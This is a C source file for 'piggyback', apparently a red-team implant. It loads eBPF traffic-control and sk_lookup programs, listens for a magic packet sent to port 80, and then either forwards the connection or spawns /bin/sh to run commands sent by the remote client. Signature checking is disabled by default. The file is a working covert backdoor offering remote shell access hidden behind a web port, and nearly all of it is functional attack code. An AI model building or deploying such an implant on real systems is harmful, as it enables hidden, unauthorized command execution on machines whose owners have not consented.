540 lines
20 KiB
C
540 lines
20 KiB
C
// piggyback.c — userspace daemon
|
|
//
|
|
// Loads TC eBPF + sk_lookup programs, registers daemon socket,
|
|
// polls ring buffer, verifies Ed25519 signatures, dispatches connections.
|
|
//
|
|
// All configuration is via compile-time constants below.
|
|
// Build: make Run: sudo ./piggyback
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
#include <errno.h>
|
|
#include <signal.h>
|
|
#include <fcntl.h>
|
|
#include <time.h>
|
|
#include <inttypes.h>
|
|
#include <arpa/inet.h>
|
|
#include <netdb.h>
|
|
#include <netinet/in.h>
|
|
#include <sys/socket.h>
|
|
#include <sys/epoll.h>
|
|
#include <pthread.h>
|
|
#include <net/if.h>
|
|
|
|
#include <bpf/libbpf.h>
|
|
#include <bpf/bpf.h>
|
|
#include <sodium.h>
|
|
|
|
// ── Engagement Configuration ──────────────────────────────────────────────────
|
|
// Edit these before compiling. Run `make keygen` to generate a keypair.
|
|
|
|
#define IFACE "" // "" = auto-detect default-route interface; or set e.g. "eth0"
|
|
#define LISTEN_PORT 80 // must match PORTS in piggyback.bpf.c
|
|
#define FWD_HOST "127.0.0.1" // default forward target (no-auth mode)
|
|
#define FWD_PORT 22 // default forward target port
|
|
#define SERVER_IP "0.0.0.0" // own IPv4, included in signed message for replay prevention
|
|
#define VERBOSE 0 // 1 = debug logging
|
|
|
|
// Ed25519 auth.
|
|
// Set AUTH_ENABLED=1 and paste the 32-byte pubkey hex from `make keygen`.
|
|
// Leave AUTH_ENABLED=0 to accept any magic packet without signature check.
|
|
#define AUTH_ENABLED 0
|
|
#define TRUSTED_PUBKEY { \
|
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
|
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
|
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \
|
|
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 \
|
|
}
|
|
|
|
// ── Shared constants (must match piggyback.bpf.c) ────────────────────────────
|
|
|
|
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE"
|
|
#define MAGIC_LEN 6
|
|
#define HEADER_LEN 80 // 16 bytes fields + 64 bytes Ed25519 signature
|
|
|
|
#define HDR_TIMESTAMP_OFF 0
|
|
#define HDR_ACTION_OFF 8
|
|
#define HDR_TARGET_IP_OFF 9
|
|
#define HDR_TARGET_PORT_OFF 13
|
|
#define HDR_SIG_OFF 16
|
|
#define HDR_MSG_LEN 20 // 16 header bytes + 4 server IP bytes
|
|
|
|
#define ACTION_FORWARD 0x01
|
|
#define ACTION_SHELL 0x02
|
|
|
|
#define REPLAY_RING_SIZE 256
|
|
#define TIMESTAMP_WINDOW 60 // seconds
|
|
|
|
// ── Event struct (must match piggyback.bpf.c) ─────────────────────────────────
|
|
|
|
struct event {
|
|
uint8_t src_ip[16];
|
|
uint16_t src_port;
|
|
uint8_t is_ipv6;
|
|
uint8_t flags;
|
|
uint32_t seq;
|
|
uint32_t ack_seq;
|
|
uint8_t header[HEADER_LEN];
|
|
uint8_t header_valid;
|
|
};
|
|
|
|
// ── Globals ───────────────────────────────────────────────────────────────────
|
|
|
|
static const uint8_t trusted_pubkey[] = TRUSTED_PUBKEY;
|
|
static uint8_t server_ip_bytes[4]; // parsed from SERVER_IP at startup
|
|
|
|
static volatile int running = 1;
|
|
static unsigned int ifindex = 0;
|
|
static char iface_name[64];
|
|
static struct bpf_object *obj = NULL;
|
|
static int accept_fd = -1;
|
|
|
|
// ── Interface auto-detection ──────────────────────────────────────────────────
|
|
|
|
static int get_default_iface(char *buf, size_t len) {
|
|
FILE *f = fopen("/proc/net/route", "r");
|
|
if (!f) return -1;
|
|
char line[256];
|
|
fgets(line, sizeof(line), f); // skip header
|
|
while (fgets(line, sizeof(line), f)) {
|
|
char iface[64];
|
|
unsigned int dest;
|
|
if (sscanf(line, "%63s %x", iface, &dest) == 2 && dest == 0) {
|
|
strncpy(buf, iface, len-1);
|
|
fclose(f);
|
|
return 0;
|
|
}
|
|
}
|
|
fclose(f);
|
|
return -1;
|
|
}
|
|
|
|
// ── Logging ───────────────────────────────────────────────────────────────────
|
|
|
|
#define log_info(fmt, ...) fprintf(stdout, "[+] " fmt "\n", ##__VA_ARGS__)
|
|
#define log_err(fmt, ...) fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)
|
|
#define log_dbg(fmt, ...) do { if (VERBOSE) fprintf(stdout, "[.] " fmt "\n", ##__VA_ARGS__); } while(0)
|
|
|
|
// ── Replay ring ───────────────────────────────────────────────────────────────
|
|
|
|
struct replay_entry {
|
|
uint32_t src_ip;
|
|
uint64_t timestamp;
|
|
uint8_t sig_prefix[8];
|
|
};
|
|
|
|
static struct replay_entry replay_ring[REPLAY_RING_SIZE];
|
|
static int replay_head = 0;
|
|
static pthread_mutex_t replay_lock = PTHREAD_MUTEX_INITIALIZER;
|
|
|
|
static int replay_check_and_insert(uint32_t src_ip, uint64_t ts, const uint8_t *sig) {
|
|
pthread_mutex_lock(&replay_lock);
|
|
for (int i = 0; i < REPLAY_RING_SIZE; i++) {
|
|
struct replay_entry *e = &replay_ring[i];
|
|
if (e->src_ip == src_ip && e->timestamp == ts &&
|
|
memcmp(e->sig_prefix, sig, 8) == 0) {
|
|
pthread_mutex_unlock(&replay_lock);
|
|
return -1;
|
|
}
|
|
}
|
|
struct replay_entry *slot = &replay_ring[replay_head % REPLAY_RING_SIZE];
|
|
slot->src_ip = src_ip;
|
|
slot->timestamp = ts;
|
|
memcpy(slot->sig_prefix, sig, 8);
|
|
replay_head++;
|
|
pthread_mutex_unlock(&replay_lock);
|
|
return 0;
|
|
}
|
|
|
|
// ── Splice loop ───────────────────────────────────────────────────────────────
|
|
|
|
static void splice_loop(int a, int b) {
|
|
int epfd = epoll_create1(0);
|
|
if (epfd < 0) return;
|
|
|
|
struct epoll_event ev, evs[2];
|
|
ev.events = EPOLLIN | EPOLLERR | EPOLLHUP;
|
|
ev.data.fd = a; epoll_ctl(epfd, EPOLL_CTL_ADD, a, &ev);
|
|
ev.data.fd = b; epoll_ctl(epfd, EPOLL_CTL_ADD, b, &ev);
|
|
|
|
char buf[65536];
|
|
while (running) {
|
|
int n = epoll_wait(epfd, evs, 2, 1000);
|
|
for (int i = 0; i < n; i++) {
|
|
if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto done;
|
|
int src = evs[i].data.fd;
|
|
int dst = (src == a) ? b : a;
|
|
ssize_t r = read(src, buf, sizeof(buf));
|
|
if (r <= 0) goto done;
|
|
ssize_t w = 0;
|
|
while (w < r) {
|
|
ssize_t s = write(dst, buf + w, r - w);
|
|
if (s <= 0) goto done;
|
|
w += s;
|
|
}
|
|
}
|
|
}
|
|
done:
|
|
close(epfd);
|
|
}
|
|
|
|
// ── Forward action ────────────────────────────────────────────────────────────
|
|
|
|
static void do_forward(int client_fd, const char *host, int port) {
|
|
struct addrinfo hints = { .ai_family = AF_UNSPEC, .ai_socktype = SOCK_STREAM };
|
|
struct addrinfo *res;
|
|
char port_str[8];
|
|
snprintf(port_str, sizeof(port_str), "%d", port);
|
|
|
|
if (getaddrinfo(host, port_str, &hints, &res) != 0) {
|
|
log_err("getaddrinfo(%s:%d) failed", host, port);
|
|
return;
|
|
}
|
|
|
|
int fwd_fd = socket(res->ai_family, SOCK_STREAM, 0);
|
|
if (fwd_fd < 0) { freeaddrinfo(res); return; }
|
|
|
|
if (connect(fwd_fd, res->ai_addr, res->ai_addrlen) < 0) {
|
|
log_err("connect to %s:%d: %s", host, port, strerror(errno));
|
|
close(fwd_fd);
|
|
freeaddrinfo(res);
|
|
return;
|
|
}
|
|
freeaddrinfo(res);
|
|
|
|
log_dbg("forwarding to %s:%d", host, port);
|
|
splice_loop(client_fd, fwd_fd);
|
|
close(fwd_fd);
|
|
}
|
|
|
|
// ── Shell action ──────────────────────────────────────────────────────────────
|
|
|
|
static void do_shell(int client_fd, const char *cmd) {
|
|
int in_pipe[2], out_pipe[2];
|
|
if (pipe(in_pipe) < 0 || pipe(out_pipe) < 0) return;
|
|
|
|
pid_t pid = fork();
|
|
if (pid < 0) return;
|
|
|
|
if (pid == 0) {
|
|
close(in_pipe[1]);
|
|
close(out_pipe[0]);
|
|
dup2(in_pipe[0], STDIN_FILENO);
|
|
dup2(out_pipe[1], STDOUT_FILENO);
|
|
dup2(out_pipe[1], STDERR_FILENO);
|
|
close(in_pipe[0]);
|
|
close(out_pipe[1]);
|
|
execl("/bin/sh", "/bin/sh", "-c", cmd, NULL);
|
|
_exit(1);
|
|
}
|
|
|
|
close(in_pipe[0]);
|
|
close(out_pipe[1]);
|
|
fcntl(in_pipe[1], F_SETFL, O_NONBLOCK);
|
|
fcntl(out_pipe[0], F_SETFL, O_NONBLOCK);
|
|
fcntl(client_fd, F_SETFL, O_NONBLOCK);
|
|
|
|
int epfd = epoll_create1(0);
|
|
struct epoll_event ev, evs[2];
|
|
ev.events = EPOLLIN | EPOLLERR | EPOLLHUP;
|
|
ev.data.fd = client_fd; epoll_ctl(epfd, EPOLL_CTL_ADD, client_fd, &ev);
|
|
ev.data.fd = out_pipe[0]; epoll_ctl(epfd, EPOLL_CTL_ADD, out_pipe[0], &ev);
|
|
|
|
char buf[65536];
|
|
while (running) {
|
|
int n = epoll_wait(epfd, evs, 2, 1000);
|
|
for (int i = 0; i < n; i++) {
|
|
if (evs[i].events & (EPOLLERR | EPOLLHUP)) goto shell_done;
|
|
int fd = evs[i].data.fd;
|
|
if (fd == out_pipe[0]) {
|
|
ssize_t r = read(out_pipe[0], buf, sizeof(buf));
|
|
if (r <= 0) goto shell_done;
|
|
write(client_fd, buf, r);
|
|
} else {
|
|
ssize_t r = read(client_fd, buf, sizeof(buf));
|
|
if (r <= 0) goto shell_done;
|
|
write(in_pipe[1], buf, r);
|
|
}
|
|
}
|
|
}
|
|
shell_done:
|
|
close(epfd);
|
|
close(in_pipe[1]);
|
|
close(out_pipe[0]);
|
|
}
|
|
|
|
// ── Dispatch thread ───────────────────────────────────────────────────────────
|
|
|
|
struct dispatch_args {
|
|
int client_fd;
|
|
uint8_t header[HEADER_LEN];
|
|
uint8_t header_valid;
|
|
};
|
|
|
|
static void *dispatch_thread(void *arg) {
|
|
struct dispatch_args *a = arg;
|
|
int client_fd = a->client_fd;
|
|
|
|
uint8_t action = ACTION_FORWARD;
|
|
char fwd_host[64];
|
|
int fwd_port;
|
|
strncpy(fwd_host, FWD_HOST, sizeof(fwd_host)-1);
|
|
fwd_port = FWD_PORT;
|
|
|
|
if (AUTH_ENABLED && a->header_valid) {
|
|
uint8_t *hdr = a->header;
|
|
|
|
uint64_t ts = 0;
|
|
for (int i = 0; i < 8; i++) ts = (ts << 8) | hdr[HDR_TIMESTAMP_OFF + i];
|
|
uint64_t now = (uint64_t)time(NULL);
|
|
if (ts > now + TIMESTAMP_WINDOW || ts < now - TIMESTAMP_WINDOW) {
|
|
log_err("timestamp out of window, rejecting");
|
|
goto reject;
|
|
}
|
|
|
|
uint8_t msg[HDR_MSG_LEN];
|
|
memcpy(msg, hdr, 16);
|
|
memcpy(msg + 16, server_ip_bytes, 4);
|
|
|
|
if (crypto_sign_ed25519_verify_detached(
|
|
hdr + HDR_SIG_OFF, msg, HDR_MSG_LEN, trusted_pubkey) != 0) {
|
|
log_err("Ed25519 signature invalid, rejecting");
|
|
goto reject;
|
|
}
|
|
|
|
uint32_t src_ip32;
|
|
memcpy(&src_ip32, server_ip_bytes, 4);
|
|
if (replay_check_and_insert(src_ip32, ts, hdr + HDR_SIG_OFF) != 0) {
|
|
log_err("replay detected, rejecting");
|
|
goto reject;
|
|
}
|
|
|
|
action = hdr[HDR_ACTION_OFF];
|
|
if (action == ACTION_FORWARD) {
|
|
uint8_t *ip = hdr + HDR_TARGET_IP_OFF;
|
|
snprintf(fwd_host, sizeof(fwd_host), "%d.%d.%d.%d",
|
|
ip[0], ip[1], ip[2], ip[3]);
|
|
fwd_port = (hdr[HDR_TARGET_PORT_OFF] << 8) | hdr[HDR_TARGET_PORT_OFF + 1];
|
|
}
|
|
log_dbg("auth OK: action=0x%02x", action);
|
|
|
|
} else if (AUTH_ENABLED && !a->header_valid) {
|
|
log_err("auth required but no valid header, rejecting");
|
|
goto reject;
|
|
}
|
|
|
|
if (action == ACTION_FORWARD) {
|
|
log_info("forward → %s:%d", fwd_host, fwd_port);
|
|
do_forward(client_fd, fwd_host, fwd_port);
|
|
} else if (action == ACTION_SHELL) {
|
|
char cmd[1024] = "bash";
|
|
ssize_t r = read(client_fd, cmd, sizeof(cmd)-1);
|
|
if (r > 0) cmd[r] = '\0';
|
|
log_info("shell: %s", cmd);
|
|
do_shell(client_fd, cmd);
|
|
} else {
|
|
log_err("unknown action 0x%02x, rejecting", action);
|
|
}
|
|
|
|
close(client_fd);
|
|
free(a);
|
|
return NULL;
|
|
|
|
reject:
|
|
close(client_fd);
|
|
free(a);
|
|
return NULL;
|
|
}
|
|
|
|
// ── Ring buffer event handler ─────────────────────────────────────────────────
|
|
|
|
static int handle_event(void *ctx __attribute__((unused)), void *data, size_t sz __attribute__((unused))) {
|
|
struct event *e = data;
|
|
|
|
char src_str[INET6_ADDRSTRLEN];
|
|
if (e->is_ipv6)
|
|
inet_ntop(AF_INET6, e->src_ip, src_str, sizeof(src_str));
|
|
else
|
|
inet_ntop(AF_INET, e->src_ip, src_str, sizeof(src_str));
|
|
|
|
log_info("magic from %s:%d (flags=0x%02x header_valid=%d)",
|
|
src_str, ntohs(e->src_port), e->flags, e->header_valid);
|
|
|
|
struct sockaddr_storage peer;
|
|
socklen_t plen = sizeof(peer);
|
|
int client_fd = accept(accept_fd, (struct sockaddr *)&peer, &plen);
|
|
if (client_fd < 0) {
|
|
log_err("accept: %s", strerror(errno));
|
|
return 0;
|
|
}
|
|
|
|
struct dispatch_args *a = malloc(sizeof(*a));
|
|
if (!a) { close(client_fd); return 0; }
|
|
a->client_fd = client_fd;
|
|
a->header_valid = e->header_valid;
|
|
memcpy(a->header, e->header, HEADER_LEN);
|
|
|
|
pthread_t tid;
|
|
pthread_create(&tid, NULL, dispatch_thread, a);
|
|
pthread_detach(tid);
|
|
return 0;
|
|
}
|
|
|
|
// ── TC attachment ─────────────────────────────────────────────────────────────
|
|
|
|
static int attach_tc(struct bpf_program *prog) {
|
|
DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook,
|
|
.ifindex = ifindex,
|
|
.attach_point = BPF_TC_INGRESS,
|
|
);
|
|
DECLARE_LIBBPF_OPTS(bpf_tc_opts, opts,
|
|
.handle = 1,
|
|
.priority = 1,
|
|
.prog_fd = bpf_program__fd(prog),
|
|
);
|
|
bpf_tc_hook_create(&hook);
|
|
if (bpf_tc_attach(&hook, &opts) < 0) {
|
|
log_err("bpf_tc_attach: %s", strerror(errno));
|
|
return -1;
|
|
}
|
|
log_info("TC attached to %s ingress", iface_name);
|
|
return 0;
|
|
}
|
|
|
|
static void detach_tc(void) {
|
|
DECLARE_LIBBPF_OPTS(bpf_tc_hook, hook,
|
|
.ifindex = ifindex,
|
|
.attach_point = BPF_TC_INGRESS,
|
|
);
|
|
bpf_tc_hook_destroy(&hook);
|
|
log_info("TC detached");
|
|
}
|
|
|
|
// ── sk_lookup attachment ──────────────────────────────────────────────────────
|
|
|
|
static int sklookup_link_fd = -1;
|
|
|
|
static int attach_sklookup(struct bpf_program *prog) {
|
|
int netns_fd = open("/proc/self/ns/net", O_RDONLY);
|
|
if (netns_fd < 0) { log_err("open netns: %s", strerror(errno)); return -1; }
|
|
struct bpf_link *link = bpf_program__attach_netns(prog, netns_fd);
|
|
close(netns_fd);
|
|
if (!link) { log_err("attach sk_lookup: %s", strerror(errno)); return -1; }
|
|
sklookup_link_fd = bpf_link__fd(link);
|
|
log_info("sk_lookup attached to netns");
|
|
return 0;
|
|
}
|
|
|
|
// ── Stats ─────────────────────────────────────────────────────────────────────
|
|
|
|
static void dump_stats(void) {
|
|
int map_fd = bpf_object__find_map_fd_by_name(obj, "stats");
|
|
if (map_fd < 0) return;
|
|
uint64_t v; uint32_t k;
|
|
k=0; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" total : %" PRIu64, v);
|
|
k=1; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" magic : %" PRIu64, v);
|
|
k=2; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" passed : %" PRIu64, v);
|
|
k=3; bpf_map_lookup_elem(map_fd, &k, &v); log_info(" partial : %" PRIu64, v);
|
|
}
|
|
|
|
// ── Signal ────────────────────────────────────────────────────────────────────
|
|
|
|
static void on_signal(int sig __attribute__((unused))) { running = 0; }
|
|
|
|
// ── Main ──────────────────────────────────────────────────────────────────────
|
|
|
|
int main(void) {
|
|
if (sodium_init() < 0) { log_err("libsodium init failed"); return 1; }
|
|
|
|
inet_pton(AF_INET, SERVER_IP, server_ip_bytes);
|
|
|
|
signal(SIGINT, on_signal);
|
|
signal(SIGTERM, on_signal);
|
|
signal(SIGPIPE, SIG_IGN);
|
|
|
|
if (strlen(IFACE) > 0) {
|
|
strncpy(iface_name, IFACE, sizeof(iface_name)-1);
|
|
} else {
|
|
if (get_default_iface(iface_name, sizeof(iface_name)) != 0) {
|
|
log_err("could not detect default interface — set IFACE in source");
|
|
return 1;
|
|
}
|
|
log_info("auto-detected interface: %s", iface_name);
|
|
}
|
|
|
|
ifindex = if_nametoindex(iface_name);
|
|
if (!ifindex) { log_err("interface '%s' not found", iface_name); return 1; }
|
|
|
|
if (AUTH_ENABLED)
|
|
log_info("Ed25519 auth enabled");
|
|
else
|
|
log_info("WARNING: AUTH_ENABLED=0 — accepting without signature check");
|
|
|
|
// ── SO_REUSEPORT accept socket ────────────────────────────────────────────
|
|
accept_fd = socket(AF_INET6, SOCK_STREAM, 0);
|
|
if (accept_fd < 0) accept_fd = socket(AF_INET, SOCK_STREAM, 0);
|
|
if (accept_fd < 0) { log_err("socket: %s", strerror(errno)); return 1; }
|
|
|
|
int yes = 1;
|
|
setsockopt(accept_fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
|
|
setsockopt(accept_fd, SOL_SOCKET, SO_REUSEPORT, &yes, sizeof(yes));
|
|
|
|
struct sockaddr_in6 laddr = {
|
|
.sin6_family = AF_INET6,
|
|
.sin6_port = htons(LISTEN_PORT),
|
|
.sin6_addr = IN6ADDR_ANY_INIT,
|
|
};
|
|
if (bind(accept_fd, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
|
|
struct sockaddr_in la4 = {
|
|
.sin_family = AF_INET,
|
|
.sin_port = htons(LISTEN_PORT),
|
|
.sin_addr.s_addr = INADDR_ANY,
|
|
};
|
|
if (bind(accept_fd, (struct sockaddr *)&la4, sizeof(la4)) < 0) {
|
|
log_err("bind port %d: %s", LISTEN_PORT, strerror(errno));
|
|
return 1;
|
|
}
|
|
}
|
|
if (listen(accept_fd, 64) < 0) { log_err("listen: %s", strerror(errno)); return 1; }
|
|
|
|
// ── Load eBPF ─────────────────────────────────────────────────────────────
|
|
obj = bpf_object__open("piggyback.bpf.o");
|
|
if (!obj) { log_err("bpf_object__open failed"); return 1; }
|
|
if (bpf_object__load(obj)) { log_err("bpf_object__load failed"); return 1; }
|
|
|
|
int sock_map_fd = bpf_object__find_map_fd_by_name(obj, "daemon_sock");
|
|
if (sock_map_fd >= 0) {
|
|
uint32_t key = 0;
|
|
uint32_t val = (uint32_t)accept_fd;
|
|
bpf_map_update_elem(sock_map_fd, &key, &val, BPF_ANY);
|
|
}
|
|
|
|
struct bpf_program *tc_prog = bpf_object__find_program_by_name(obj, "piggyback_ingress");
|
|
if (!tc_prog) { log_err("TC program not found"); return 1; }
|
|
if (attach_tc(tc_prog) < 0) return 1;
|
|
|
|
struct bpf_program *sk_prog = bpf_object__find_program_by_name(obj, "piggyback_lookup");
|
|
if (sk_prog && attach_sklookup(sk_prog) < 0)
|
|
log_info("sk_lookup attach failed — SYN-level steering disabled");
|
|
|
|
int rb_fd = bpf_object__find_map_fd_by_name(obj, "events");
|
|
struct ring_buffer *rb = ring_buffer__new(rb_fd, handle_event, NULL, NULL);
|
|
if (!rb) { log_err("ring_buffer__new failed"); return 1; }
|
|
|
|
log_info("piggyback running on %s port %d → %s:%d",
|
|
iface_name, LISTEN_PORT, FWD_HOST, FWD_PORT);
|
|
|
|
while (running)
|
|
ring_buffer__poll(rb, 100);
|
|
|
|
log_info("shutting down...");
|
|
dump_stats();
|
|
detach_tc();
|
|
ring_buffer__free(rb);
|
|
bpf_object__close(obj);
|
|
close(accept_fd);
|
|
return 0;
|
|
}
|